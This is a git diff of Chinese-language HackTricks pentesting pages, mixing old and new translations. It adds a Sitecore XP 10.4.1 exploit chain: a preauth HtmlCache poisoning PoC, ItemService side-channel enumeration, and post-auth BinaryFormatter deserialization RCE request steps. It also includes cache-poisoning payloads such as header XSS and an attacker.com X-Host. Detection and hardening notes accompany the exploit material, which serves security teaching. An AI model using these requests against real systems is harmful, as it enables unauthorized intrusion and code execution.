- 如果你发现 _**.env**_,可以找到诸如 api keys、db 密码和其他信息。
- 如果你发现 **API endpoints**,你[也应该测试它们](web-api-pentesting.md)。这些不是文件,但它们很可能“看起来像”文件。
- **JS files**: 在 spidering 部分列出了若干可以从 JS 文件中提取路径的工具。另外,监控每个发现的 JS 文件也很有意义,因为在某些情况下,文件的变化可能表明代码中引入了潜在的漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)**。**
- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS 文件以判断它们是否存在已知漏洞。
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 在很多场合,你需要**理解正则表达式**的用法。这些站点会很有用: [https://regex101.com/](https://regex101.com) 或 [https://pythonium.net/regex](https://pythonium.net/regex)
- 你也可以**监控**检测到表单的文件,因为参数的变化或新表单的出现可能表明新的潜在易受攻击的功能。
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 在很多场景下,你需要**理解正则表达式**的用法,这会很有帮助: [https://regex101.com/](https://regex101.com) 或 [https://pythonium.net/regex](https://pythonium.net/regex)
- 你还可以**监控检测到表单的文件**,因为参数变化或新表单的出现可能表明潜在的新漏洞功能。
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,28 +313,28 @@ _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,
**502 Proxy Error**
如果任何页面返回该 **状态码**,很可能是 **代理配置错误**。如果你发送一个类似 `GET https://google.com HTTP/1.1` 的 HTTP 请求(包含 host header 和其他常见头),代理会尝试访问 _**google.com**_,此时你就可能发现一个 SSRF
如果任何页面以该 **code** 响应,很可能是一个 **配置错误的 proxy**。**如果你发送一个像这样的 HTTP 请求: `GET https://google.com HTTP/1.1`**(包含 host header 和其他常见头proxy 会尝试访问 _**google.com**_,那么你就发现了一个 **SSRF**
**NTLM Authentication - Info disclosure**
如果要求认证的运行服务器是 **Windows**,或者你遇到一个要求你输入 **credentials**(并要求 **domain** **name**)的登录,你可以诱发**信息泄露**。\
发送头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于 **NTLM authentication** 的工作方式,服务器会在头 "WWW-Authenticate" 中返回内部信息IIS 版本、Windows 版本等)。\
你可以使用 nmap 的插件 "_http-ntlm-info.nse_" 来自动化此过程
如果要求认证的运行服务器是 **Windows**,或者你发现一个要求你输入 **credentials**(并要求 **domain** **name**)的登录,你可以触发一个**信息泄露**。\
**发送** 头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于 **NTLM authentication** 的工作机制,服务器会在头 "WWW-Authenticate" 中返回内部信息IIS 版本、Windows 版本...)。\
你可以使用 nmap 插件 "_http-ntlm-info.nse_" 来**自动化**此操作
**HTTP Redirect (CTF)**
可以在重定向中**放入内容**。这些内容**不会显示给用户**(因为浏览器会执行重定向),但可能在其中隐藏信息
可以把内容放在 **Redirection** 中。这些内容**不会显示给用户**(因为浏览器会执行重定向),但有东西可能被**隐藏**在里面
### Web Vulnerabilities Checking
在对 web 应用进行全面枚举之后,就该检查大量可能的漏洞了。你可以在下面找到检查清单:
在对 web 应用进行全面枚举之后,就该检查大量可能的漏洞了。你可以在这里找到检查清单:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
更多关于 web 漏洞的信息:
Find more info about web vulns in:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -341,7 +342,7 @@ _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,
### Monitor Pages for changes
你可以使用像 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 这样的工具来监控页面的变更,以便检测可能引入漏洞的修改
你可以使用像 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 这样的工具来监控页面修改,这些修改可能引入漏洞
### HackTricks Automatic Commands
```

View File

@ -0,0 +1,194 @@
# Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE
{{#include ../../../banners/hacktricks-training.md}}
本页总结了针对 Sitecore XP 10.4.1 的一个实用攻击链,该链从 preauth XAML handler 出发,利用 HTML cache poisoning并通过一个 authenticated UI 流程最终通过 BinaryFormatter deserialization 实现 RCE。这些技术可推广到类似的 Sitecore 版本/组件,并提供用于测试、检测和加固的具体原语。
- 受影响并测试的产品Sitecore XP 10.4.1 rev. 011628
- 修复于KB1003667、KB10037342025年6/7月
另见:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
{{#endref}}
{{#ref}}
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Preauth primitive: XAML Ajax reflection → HtmlCache write
入口是注册在 web.config 中的 preauth XAML handler
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
可通过以下方式访问:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
控制树包含 AjaxScriptManager它在事件请求时读取 attackercontrolled 字段,并通过反射在目标控件上调用方法:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
关键观察XAML 页面包含一个 XmlControl 实例 (xmlcontrol:GlobalHeader)。Sitecore.XmlControls.XmlControl 派生自 Sitecore.Web.UI.WebControl一个 Sitecore 类),它通过 ReflectionUtil.Filter allowlist (Sitecore.*),解锁了 Sitecore WebControl 上的方法。
Magic method for poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
因为我们可以定向到 xmlcontrol:GlobalHeader 并按名称调用 Sitecore.Web.UI.WebControl 方法,所以我们获得了一个 preauth 任意 HtmlCache 写入原语。
### PoC 请求 (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
说明:
- __SOURCE 是 xmlcontrol:GlobalHeader 在 Sitecore.Shell.Xaml.WebControl 中的 clientID通常稳定例如 ctl00_ctl00_ctl05_ctl03因为它来自静态 XAML
- __PARAMETERS 的格式是 Method("arg1","arg2").
## What to poison: Cache key construction
典型的 Sitecore 控件使用的 HtmlCache key 构造:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
```
针对已知 sublayout 的定向中毒示例:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## 枚举可缓存项和 “vary by” 维度
如果 ItemService 被(不当)匿名暴露,你可以枚举可缓存组件以推导出精确键。
快速探测:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
列出可缓存的项目和标志:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
查找类似 Path、Cacheable、VaryByDevice、VaryByLogin、ClearOnIndexUpdate 的字段。设备名称可通过以下方式枚举:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration 在受限身份下 (CVE-2025-53694)
即使 ItemService 模拟一个受限账户(例如 ServicesAPI并返回一个空的 Results 数组TotalCount 仍可能反映 preACL 的 Solr 命中。你可以用 wildcards 对 item groups/ids 进行 brute-force并观察 TotalCount 收敛,以映射内部内容和设备:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Postauth RCEBinaryFormatter 在 convertToRuntimeHtml 中的 sinkCVE-2025-53691
漏洞点:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
可通过 convertToRuntimeHtml 管道步骤 ConvertWebControls 访问,该步骤查找 id 为 {iframeId}_inner 的元素,对其进行 base64 解码并反序列化,然后将生成的字符串注入到 HTML 中:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
触发已认证Content Editor 权限。FixHtml 对话框调用 convertToRuntimeHtml。端到端无需 UI 点击:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: 使用 ysoserial.net / YSoNet 和 BinaryFormatter 生成一个 base64 payload返回一个 string。string 的内容在反序列化副作用执行后由 ConvertWebControls 写入 HTML。
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## 完整链
1) Preauth 攻击者通过 XAML AjaxScriptManager 反射调用 WebControl.AddToCache向 HtmlCache 注入任意 HTML。
2) 被注入的 HTML 提供 JavaScript诱导已认证的 Content Editor 用户进入 FixHtml 流程。
3) FixHtml 页面触发 convertToRuntimeHtml → ConvertWebControls该过程通过 BinaryFormatter 对攻击者控制的 base64 进行反序列化 → 导致以 Sitecore 应用程序池身份的 RCE。
## 检测
- Preauth XAML`/-/xaml/Sitecore.Shell.Xaml.WebControl` 的请求带有 `__ISEVENT=1`、可疑的 `__SOURCE``__PARAMETERS=AddToCache(...)`
- ItemService 探测:出现 `/sitecore/api/ssc` 通配查询激增,`TotalCount` 很大但 `Results` 为空。
- 反序列化尝试:先是 `EditHtml.aspx`,随后 `FixHtml.aspx?hdl=...`,以及 HTML 字段中异常大的 base64。
## 加固
- 应用 Sitecore 补丁 KB1003667 和 KB1003734对 preauth XAML 处理器进行限流/禁用或加入严格验证;监控并对 `/-/xaml/` 实施速率限制。
- 移除/替换 BinaryFormatter限制对 convertToRuntimeHtml 的访问,或对 HTML 编辑流程实施强健的服务器端验证。
- 将 `/sitecore/api/ssc` 锁定为 loopback 或认证角色访问;避免使用导致基于 `TotalCount` 的 side channels leak 的 impersonation 模式。
- 强制对 Content Editor 用户实施 MFA/最小权限原则;审查 CSP 以减少 cache poisoning 中 JS steering 的影响。
## References
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,129 +2,133 @@
{{#include ../../banners/hacktricks-training.md}}
## The difference
## 区别
> **web cache poisoning 和 web cache deception 之间有什么区别?**
> **What is the difference between web cache poisoning and web cache deception?**
>
> - 在 **web cache poisoning** 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容会从缓存中提供给其他应用程序用户。
> - 在 **web cache deception** 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
> - 在 **web cache poisoning** 中,攻击者促使应用将一些恶意内容存入缓存,这些内容会从缓存中提供给其他应用用户。
> - 在 **web cache deception** 中,攻击者促使应用将属于另一用户的一些敏感内容存入缓存,然后攻击者从缓存中检索这些内容。
## Cache Poisoning
Cache poisoning 旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
Cache poisoning 的目标是操纵客户端缓存,强制客户端加载意外的、部分的或由攻击者控制的资源。影响范围取决于受影响页面的受欢迎程度,因为被污染的响应只会在缓存污染期间提供给访问该页面的用户。
执行 cache poisoning 攻击涉及几个步骤:
执行 cache poisoning 攻击通常包括以下几个步骤:
1. **识别未键入的输入**:这些是参数,尽管不是请求缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
2. **利用未键入的输入**:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益
3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
1. **识别未键控输入**:这些是虽然不是缓存请求所必需的参数,但可以改变服务器返回的响应。识别这些输入非常关键,因为它们可以被利用来操纵缓存。
2. **滥用未键控输入**:在识别出未键控输入后,下一步是研究如何滥用这些参数以修改服务器响应,从而对攻击者有利
3. **确保被污染的响应被缓存**:最后一步是确保被篡改的响应被存入缓存。这样,在缓存被污染期间访问受影响页面的任何用户都会收到被污染的响应。
### Discovery: Check HTTP headers
### 发现:检查 HTTP headers
通常,当响应被 **存储在缓存中** 时,会有一个 **指示的头部**,您可以查看在此帖子中应关注哪些头部:[**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)
通常,当响应被**存入缓存**时,会有一个**指示的 header**,你可以在这篇文章中查看应该注意哪些 header: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Discovery: Caching error codes
### 发现:缓存错误代码
如果您认为响应正在被存储在缓存中,您可以尝试 **发送带有错误头的请求**,这应该会以 **状态码 400** 响应。然后尝试正常访问请求,如果 **响应是 400 状态码**,您就知道它是脆弱的(您甚至可以执行 DoS
如果你怀疑响应被存入了缓存,你可以尝试**发送带有错误 header 的请求**,服务器应以**状态码 400** 响应。然后尝试正常访问该请求,如果**响应是 400 状态码**,则说明存在漏洞(你甚至可以进行 DoS
You can find more options in:
您可以在以下位置找到更多选项:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
但是,请注意 **有时这些状态码不会被缓存**,因此此测试可能不可靠。
不过,请注意 **有时这些类型的状态码不会被缓存**,因此该测试可能不可靠。
### Discovery: Identify and evaluate unkeyed inputs
### 发现:识别并评估未键控输入
可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来 **暴力破解可能会改变页面响应的参数和头部**。例如,一个页面可能使用头部 `X-Forwarded-For`指示客户端从那里加载脚本:
可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来**暴力枚举可能改变页面响应的参数和 headers**。例如,某个页面可能使用 header `X-Forwarded-For` 指示客户端从那里加载脚本:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 从后端服务器发有害响应
### 从后端服务器发有害响应
通过识别的参数/头部检查它是如何被**清理**的,以及**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗执行XSS或加载你控制的JS代码执行DoS...
在识别出 parameter/header 后,检查它是如何被 **sanitised** 的,以及它 **在哪里****reflected** 或影响响应。你能否利用它(执行 XSS 或加载你控制的 JS 代码?执行 DoS...
### 获取缓存的响应
### 让响应被缓存
一旦你**识别**了可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
一旦你 **识别** 出可以被滥用的 **页面**、要使用的 **parameter**/**header** 以及 **如何** 滥用它,就需要让该页面被缓存。根据你尝试放入缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当被缓存时,它的值是**`hit`**。\
头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
响应中的头部 **`X-Cache`** 可能非常有用,当请求没有被缓存时它可能为 **`miss`**,当已被缓存时可能为 **`hit`**。\
头部 **`Cache-Control`** 也很有趣,可以用来判断资源是否被缓存以及下次资源何时会被再次缓存:`Cache-Control: public, max-age=1800`
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存
另一个有趣的头部是 **`Vary`**。这个头部常用于 **指示额外的头部**,这些头部会被视为 **cache key 的一部分**,即使它们通常不作为键处理。因此,如果攻击者知道目标受害者使用的 `User-Agent`,他可以为使用该特定 `User-Agent` 的用户 poison the cache
与缓存相关的另一个是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)
另一个与缓存相关的头是 **`Age`**。它定义了对象在代理缓存中存在的秒数
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。
在缓存请求时,要 **注意你使用的头部**,因为其中一些头可能会被**意外**地作为**keyed** 使用,而**受害者需要使用相同的头部**。总是用 **不同的浏览器** 测试 Cache Poisoning 以确认是否生效。
## 利用示例
### 最简单的示例
`X-Forwarded-For`这样的头部在响应中未经过清理地被反映。\
你可以发送一个基本的XSS有效负载并毒化缓存这样每个访问该页面的人都会受到XSS攻击
`X-Forwarded-For` 这样的头部在响应中被未消毒地反射。\
你可以发送一个基本的 XSS payload 并 poison the cache这样所有访问该页面的人都会被 XSS:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_注意这将使对 `/en?region=uk` 的请求中毒,而不是 `/en`_
_注意这会对 `/en?region=uk` 的请求造成投毒,而不是对 `/en`_
### Cache poisoning to DoS
### 缓存中毒以进行 DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### 通过 CDN 进行缓存中毒
### Cache poisoning through CDNs
**[这篇文章](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** 中解释了以下简单场景:
**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** 中解释了以下简单场景:
- CDN 缓存 `/share/` 下的任何内容
- CDN 不会解码或规范化 `%2F..%2F`,因此可以用作 **路径遍历以访问其他将被缓存的敏感位置**,例如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web 服务器将解码和规范化 `%2F..%2F`,并将响应 `/api/auth/session`,该响应 **包含身份验证令牌**
- CDN 缓存 `/share/` 下的任何内容
- CDN 不会解码或归一化 `%2F..%2F`,因此可以被用作 **path traversal 来访问其他会被缓存的敏感位置**,例如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web 服务器会解码并归一化 `%2F..%2F`,并会响应 `/api/auth/session`,该响应 **contains the auth token**
### 使用 Web 缓存中毒来利用 Cookie 处理漏洞
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies 也可能在页面的响应中被反射。如果你可以利用它造成 XSS例如你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。
Cookies 也可能在页面响应中被反射。如果你能滥用这一点触发 XSS例如你就可能在多个加载该恶意缓存响应的客户端上利用 XSS。
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求会清理 cache
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 通过分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
查看:
检查:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning 通过路径遍历窃取 API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个像 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 在请求到达 web 服务器时并未对 URL 进行规范化。
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
这一点在以下文档中也有更详尽的解释:
这在以下内容中也有更好的解释:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### 使用多个头部来利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 使用多个 headers 来利用 web cache poisoning 漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将所有 HTTP 请求转发** 到 HTTPS并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面
有时你需要 **利用多个未键控输入** 才能滥用 cache。举例来说如果你将 `X-Forwarded-Host` 设置为你控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,你可能会发现一个 **Open redirect**。如果 **server** 正在 **forwarding** 所有 **HTTP** 请求 **to HTTPS** 并在重定向时使用头 `X-Forwarded-Scheme` 作为重定向的域名,你就可以控制页面被重定向到何处
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 利用有限的 `Vary`
### 在受限 `Vary`header 情况下利用
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent并使用该用户代理来污染缓存
如果你发现 **`X-Host`** header 被用作 **域名用于加载 JS 资源**,但响应中的 **`Vary`** header 表示的是 **`User-Agent`**。那么,你需要想办法 exfiltrate 受害者的 User-Agent并使用该 user agent 来 poison the cache
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
发送一个带有请求的 GET 请求URL 和请求体中都包含该请求。如果 web 服务器使用请求体中的内容,但缓存服务器缓存了 URL 中的内容,那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle 在 Github 网站上发现的漏洞
发送一个 GET 请求,参数同时出现在 URL 和 body 中。如果 web server 使用 body 中的参数,但 cache server 缓存了 URL 中的参数,那么任何访问该 URL 的人实际上将使用 body 中的参数。像 James Kettle 在 Github 网站上发现的 vuln
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -142,126 +146,143 @@ Content-Length: 22
report=innocent-victim
```
有一个关于此的portswigger实验室[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
关于此有一个 portswigger lab [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### 参数伪装
### Parameter Cloacking
例如,在ruby服务器中可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并进行滥用。
例如,在 ruby 服务器上可以使用字符 **`;`** 而不是 **`&`** 来分隔 **参数**。这可以用来将无键参数的值置入有键参数中并进行滥用。
Portswigger实验室:[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portsswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### 通过滥用HTTP请求走私来利用HTTP缓存中毒
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
这里了解如何通过滥用HTTP请求走私来执行[缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
此了解如何执行 [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
### Web缓存中毒的自动化测试
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)可以用于自动测试Web缓存中毒。它支持多种不同的技术并且高度可定制。
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 可用于自动测试 Web Cache Poisoning。它支持许多不同的技术并且高度可定制。
示例用法:`wcvs -u example.com`
示例用法: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF辅助缓存播种User-Agent自动缓存的.js
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
种现实世界模式将基于头部的反射原语与CDN/WAF行为链在一起以可靠地毒化提供给其他用户的缓存HTML
个真实世界的模式将基于 header 的反射原语与 CDN/WAF 行为链在一起,以可靠地污染缓存的 HTML供其他用户使用
- 主要HTML反射了一个不受信任的请求头例如`User-Agent`到可执行上下文中。
